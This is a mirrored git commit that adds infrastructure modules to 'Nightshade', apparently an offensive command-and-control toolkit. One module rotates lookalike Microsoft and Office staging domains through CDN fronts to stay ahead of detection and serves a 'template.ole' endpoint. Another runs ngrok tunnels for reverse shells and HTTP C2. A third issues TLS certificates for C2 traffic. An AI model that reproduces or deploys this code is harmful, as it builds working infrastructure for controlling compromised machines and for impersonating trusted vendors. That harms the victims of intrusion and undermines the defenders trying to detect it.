mirror of
https://git.churchofmalware.org/ek0mssavi0r/NIGHTSHADE_c4
synced 2026-09-24 08:34:55 +00:00
Upload files to "infrastructure"
This commit is contained in:
@@ -0,0 +1 @@
|
|||||||
|
# Nightshade Infrastructure — Ngrok, domain rotation, CDN delivery
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
"""
|
||||||
|
Nightshade Domain Rotation.
|
||||||
|
Manages multiple staging domains and CDN distribution for OPSEC.
|
||||||
|
"""
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
|
||||||
|
class DomainRotator:
|
||||||
|
"""Rotate through staging domains using time-based selection + campaign hashing."""
|
||||||
|
|
||||||
|
# Realistic-but-fake staging domains
|
||||||
|
DEFAULT_DOMAINS = [
|
||||||
|
"cdn.microsoft-update.com",
|
||||||
|
"assets-windows.net",
|
||||||
|
"secure-download.office365.com",
|
||||||
|
"template-store.azurewebsites.net",
|
||||||
|
"static-cdn.office.net",
|
||||||
|
"update-service.windows.com",
|
||||||
|
"download.microsoft-ews.com",
|
||||||
|
"content-delivery.office365.net",
|
||||||
|
]
|
||||||
|
|
||||||
|
CDN_PROVIDERS = [
|
||||||
|
"https://{domain}.cloudfront.net",
|
||||||
|
"https://{domain}.azureedge.net",
|
||||||
|
"https://{domain}.fastly.net",
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self, domains: list[str] | None = None, campaign_id: str = "default"):
|
||||||
|
self._domains = domains or list(self.DEFAULT_DOMAINS)
|
||||||
|
self._campaign_id = campaign_id
|
||||||
|
|
||||||
|
def _campaign_seed(self, timestamp: int) -> int:
|
||||||
|
"""Deterministic-but-unique index based on campaign + time window."""
|
||||||
|
window = timestamp // 3600 # rotate every hour
|
||||||
|
seed_str = f"{self._campaign_id}:{window}"
|
||||||
|
return int(hashlib.sha256(seed_str.encode()).hexdigest(), 16)
|
||||||
|
|
||||||
|
def current_domain(self) -> str:
|
||||||
|
"""Get the current staging domain based on time + campaign hash."""
|
||||||
|
idx = self._campaign_seed(int(time.time())) % len(self._domains)
|
||||||
|
return self._domains[idx]
|
||||||
|
|
||||||
|
def template_url(self, endpoint: str = "template.ole") -> str:
|
||||||
|
domain = self.current_domain()
|
||||||
|
return f"https://{domain}/{endpoint}"
|
||||||
|
|
||||||
|
def next_domain(self) -> str:
|
||||||
|
"""Force-advance to next domain (for rotation on detection)."""
|
||||||
|
idx = self._domains.index(self.current_domain())
|
||||||
|
next_idx = (idx + 1) % len(self._domains)
|
||||||
|
return self._domains[next_idx]
|
||||||
|
|
||||||
|
def rotate(self):
|
||||||
|
"""Advance the rotation window so current domain changes."""
|
||||||
|
# No-op: current_domain uses time-based hashing, so it rotates naturally.
|
||||||
|
|
||||||
|
def cdn_url(self, domain: str | None = None) -> str:
|
||||||
|
"""Wrap a domain in a CDN URL for distribution."""
|
||||||
|
d = domain or self.current_domain()
|
||||||
|
provider = random.choice(self.CDN_PROVIDERS)
|
||||||
|
return provider.format(domain=d)
|
||||||
|
|
||||||
|
def add_domain(self, domain: str):
|
||||||
|
if domain not in self._domains:
|
||||||
|
self._domains.append(domain)
|
||||||
|
|
||||||
|
def remove_domain(self, domain: str):
|
||||||
|
if domain in self._domains:
|
||||||
|
self._domains.remove(domain)
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
"""
|
||||||
|
Nightshade Ngrok Integration.
|
||||||
|
Manages ngrok tunnel lifecycle for TCP reverse shells and HTTP C2.
|
||||||
|
"""
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
from typing import Optional
|
||||||
|
import requests
|
||||||
|
|
||||||
|
|
||||||
|
class NgrokManager:
|
||||||
|
"""Manage ngrok tunnels for Nightshade operations."""
|
||||||
|
|
||||||
|
NGROK_API = "http://127.0.0.1:4040/api/tunnels"
|
||||||
|
|
||||||
|
def __init__(self, auth_token: str = "", region: str = "us"):
|
||||||
|
self._auth_token = auth_token
|
||||||
|
self._region = region
|
||||||
|
self._process: Optional[subprocess.Popen] = None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def is_installed() -> bool:
|
||||||
|
return shutil.which("ngrok") is not None
|
||||||
|
|
||||||
|
def get_tunnels(self) -> list[dict]:
|
||||||
|
"""Fetch active ngrok tunnels from the local API."""
|
||||||
|
try:
|
||||||
|
r = requests.get(self.NGROK_API, timeout=3)
|
||||||
|
return r.json().get("tunnels", [])
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_http_url(self) -> Optional[str]:
|
||||||
|
for t in self.get_tunnels():
|
||||||
|
if t["proto"] in ("https", "http"):
|
||||||
|
return t["public_url"]
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_tcp_address(self) -> Optional[str]:
|
||||||
|
for t in self.get_tunnels():
|
||||||
|
if t["proto"] == "tcp":
|
||||||
|
return t["public_url"]
|
||||||
|
return None
|
||||||
|
|
||||||
|
def authenticate(self):
|
||||||
|
if self._auth_token:
|
||||||
|
subprocess.run(
|
||||||
|
["ngrok", "config", "add-authtoken", self._auth_token],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
|
||||||
|
def start_tcp_tunnel(self, port: int) -> Optional[str]:
|
||||||
|
"""Start an ngrok TCP tunnel and return the public address."""
|
||||||
|
if not self.is_installed():
|
||||||
|
print("[-] ngrok not found on PATH")
|
||||||
|
return None
|
||||||
|
|
||||||
|
self.authenticate()
|
||||||
|
cmd = ["ngrok", "tcp", str(port), "--region", self._region, "--log=stdout"]
|
||||||
|
self._process = subprocess.Popen(
|
||||||
|
cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
time.sleep(3)
|
||||||
|
|
||||||
|
addr = self.get_tcp_address()
|
||||||
|
if addr:
|
||||||
|
print(f"[+] ngrok TCP tunnel: {addr}")
|
||||||
|
return addr
|
||||||
|
|
||||||
|
# Fallback: prompt user
|
||||||
|
print("[!] Could not auto-detect ngrok TCP tunnel.")
|
||||||
|
manual = input("[?] Enter ngrok TCP address manually (e.g., 1.tcp.ngrok.io:12345): ").strip()
|
||||||
|
return manual if manual else None
|
||||||
|
|
||||||
|
def start_http_tunnel(self, port: int) -> Optional[str]:
|
||||||
|
"""Start an ngrok HTTP tunnel and return the public URL."""
|
||||||
|
if not self.is_installed():
|
||||||
|
print("[-] ngrok not found on PATH")
|
||||||
|
return None
|
||||||
|
|
||||||
|
self.authenticate()
|
||||||
|
cmd = ["ngrok", "http", str(port), "--region", self._region, "--log=stdout"]
|
||||||
|
self._process = subprocess.Popen(
|
||||||
|
cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||||
|
)
|
||||||
|
time.sleep(3)
|
||||||
|
|
||||||
|
url = self.get_http_url()
|
||||||
|
if url:
|
||||||
|
print(f"[+] ngrok HTTP tunnel: {url}")
|
||||||
|
else:
|
||||||
|
print("[!] Could not auto-detect ngrok HTTP tunnel.")
|
||||||
|
return url
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
if self._process:
|
||||||
|
self._process.terminate()
|
||||||
|
self._process = None
|
||||||
@@ -0,0 +1,186 @@
|
|||||||
|
"""
|
||||||
|
Nightshade TLS Certificate Manager.
|
||||||
|
Generates self-signed certificates for HTTPS C2 communication using the
|
||||||
|
cryptography library. Certs stored in certs/ directory with campaign naming.
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
import datetime
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
|
||||||
|
from cryptography import x509
|
||||||
|
from cryptography.x509.oid import NameOID
|
||||||
|
from cryptography.hazmat.primitives import hashes, serialization
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
|
|
||||||
|
class TLSCertManager:
|
||||||
|
"""Manage self-signed TLS certificates for Nightshade C2."""
|
||||||
|
|
||||||
|
def __init__(self, cert_dir: str = ""):
|
||||||
|
if not cert_dir:
|
||||||
|
self._cert_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "certs")
|
||||||
|
else:
|
||||||
|
self._cert_dir = cert_dir
|
||||||
|
os.makedirs(self._cert_dir, exist_ok=True)
|
||||||
|
|
||||||
|
def generate_self_signed(
|
||||||
|
self,
|
||||||
|
common_name: str = "nightshade-c2.local",
|
||||||
|
campaign_name: str = "default",
|
||||||
|
validity_days: int = 365,
|
||||||
|
key_size: int = 2048,
|
||||||
|
) -> Tuple[str, str]:
|
||||||
|
"""Generate a self-signed RSA certificate and key.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
common_name: CN for the certificate (typically C2 domain or IP)
|
||||||
|
campaign_name: Used in the output filename (campaign_cert.pem, campaign_key.pem)
|
||||||
|
validity_days: Certificate validity period
|
||||||
|
key_size: RSA key size (2048 or 4096)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (cert_path, key_path)
|
||||||
|
"""
|
||||||
|
# Generate RSA key pair
|
||||||
|
key = rsa.generate_private_key(
|
||||||
|
public_exponent=65537,
|
||||||
|
key_size=key_size,
|
||||||
|
backend=default_backend(),
|
||||||
|
)
|
||||||
|
|
||||||
|
# Build subject/issuer (self-signed)
|
||||||
|
subject = issuer = x509.Name([
|
||||||
|
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
|
||||||
|
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"),
|
||||||
|
x509.NameAttribute(NameOID.LOCALITY_NAME, "San Francisco"),
|
||||||
|
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Nightshade Operations"),
|
||||||
|
x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, "C2 Infrastructure"),
|
||||||
|
x509.NameAttribute(NameOID.COMMON_NAME, common_name),
|
||||||
|
])
|
||||||
|
|
||||||
|
now = datetime.datetime.utcnow()
|
||||||
|
cert = (
|
||||||
|
x509.CertificateBuilder()
|
||||||
|
.subject_name(subject)
|
||||||
|
.issuer_name(issuer)
|
||||||
|
.public_key(key.public_key())
|
||||||
|
.serial_number(x509.random_serial_number())
|
||||||
|
.not_valid_before(now)
|
||||||
|
.not_valid_after(now + datetime.timedelta(days=validity_days))
|
||||||
|
.add_extension(
|
||||||
|
x509.SubjectAlternativeName(
|
||||||
|
[x509.DNSName(common_name), x509.DNSName("localhost")]
|
||||||
|
+ [x509.IPAddress(ip) for ip in self._parse_ips(common_name)]
|
||||||
|
),
|
||||||
|
critical=False,
|
||||||
|
)
|
||||||
|
.add_extension(
|
||||||
|
x509.BasicConstraints(ca=False, path_length=None),
|
||||||
|
critical=True,
|
||||||
|
)
|
||||||
|
.add_extension(
|
||||||
|
x509.KeyUsage(
|
||||||
|
digital_signature=True,
|
||||||
|
key_encipherment=True,
|
||||||
|
key_cert_sign=False,
|
||||||
|
key_agreement=False,
|
||||||
|
content_commitment=False,
|
||||||
|
data_encipherment=False,
|
||||||
|
crl_sign=False,
|
||||||
|
encipher_only=False,
|
||||||
|
decipher_only=False,
|
||||||
|
),
|
||||||
|
critical=True,
|
||||||
|
)
|
||||||
|
.add_extension(
|
||||||
|
x509.ExtendedKeyUsage([
|
||||||
|
x509.oid.ExtendedKeyUsageOID.SERVER_AUTH,
|
||||||
|
x509.oid.ExtendedKeyUsageOID.CLIENT_AUTH,
|
||||||
|
]),
|
||||||
|
critical=False,
|
||||||
|
)
|
||||||
|
.sign(key, hashes.SHA256(), backend=default_backend())
|
||||||
|
)
|
||||||
|
|
||||||
|
# Write certificate
|
||||||
|
cert_path = os.path.join(self._cert_dir, f"{campaign_name}_cert.pem")
|
||||||
|
with open(cert_path, "wb") as f:
|
||||||
|
f.write(cert.public_bytes(serialization.Encoding.PEM))
|
||||||
|
|
||||||
|
# Write private key
|
||||||
|
key_path = os.path.join(self._cert_dir, f"{campaign_name}_key.pem")
|
||||||
|
with open(key_path, "wb") as f:
|
||||||
|
f.write(key.private_bytes(
|
||||||
|
encoding=serialization.Encoding.PEM,
|
||||||
|
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||||
|
encryption_algorithm=serialization.NoEncryption(),
|
||||||
|
))
|
||||||
|
|
||||||
|
print(f" [*] Certificate: {cert_path}")
|
||||||
|
print(f" [*] Private key: {key_path}")
|
||||||
|
print(f" [*] Common Name: {common_name}")
|
||||||
|
print(f" [*] Valid until: {now + datetime.timedelta(days=validity_days)}")
|
||||||
|
|
||||||
|
return cert_path, key_path
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_ips(common_name: str) -> list:
|
||||||
|
"""Parse IP addresses from common name string."""
|
||||||
|
import ipaddress
|
||||||
|
ips = []
|
||||||
|
for part in common_name.split(","):
|
||||||
|
part = part.strip()
|
||||||
|
try:
|
||||||
|
ips.append(ipaddress.ip_address(part))
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
return ips
|
||||||
|
|
||||||
|
def load_cert_and_key(self, campaign_name: str = "default") -> Tuple[Optional[str], Optional[str]]:
|
||||||
|
"""Get paths for existing cert/key files for a campaign.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (cert_path, key_path) or (None, None) if not found
|
||||||
|
"""
|
||||||
|
cert_path = os.path.join(self._cert_dir, f"{campaign_name}_cert.pem")
|
||||||
|
key_path = os.path.join(self._cert_dir, f"{campaign_name}_key.pem")
|
||||||
|
|
||||||
|
if os.path.exists(cert_path) and os.path.exists(key_path):
|
||||||
|
return cert_path, key_path
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def list_certificates(self) -> list[dict]:
|
||||||
|
"""List all generated certificates in the certs directory."""
|
||||||
|
certs = []
|
||||||
|
if not os.path.exists(self._cert_dir):
|
||||||
|
return certs
|
||||||
|
|
||||||
|
for fname in os.listdir(self._cert_dir):
|
||||||
|
if fname.endswith("_cert.pem"):
|
||||||
|
path = os.path.join(self._cert_dir, fname)
|
||||||
|
try:
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
cert = x509.load_pem_x509_certificate(f.read(), default_backend())
|
||||||
|
certs.append({
|
||||||
|
"filename": fname,
|
||||||
|
"campaign": fname.replace("_cert.pem", ""),
|
||||||
|
"subject": cert.subject.rfc4514_string(),
|
||||||
|
"issuer": cert.issuer.rfc4514_string(),
|
||||||
|
"not_before": cert.not_valid_before.isoformat(),
|
||||||
|
"not_after": cert.not_valid_after.isoformat(),
|
||||||
|
"serial": str(cert.serial_number),
|
||||||
|
})
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
return certs
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def configure_flask(app, cert_path: str, key_path: str):
|
||||||
|
"""Configure a Flask app to use the generated TLS cert.
|
||||||
|
|
||||||
|
Call app.run(ssl_context=(cert_path, key_path)) instead.
|
||||||
|
This method modifies app.config for reference.
|
||||||
|
"""
|
||||||
|
app.config["SSL_CERT_PATH"] = cert_path
|
||||||
|
app.config["SSL_KEY_PATH"] = key_path
|
||||||
Reference in New Issue
Block a user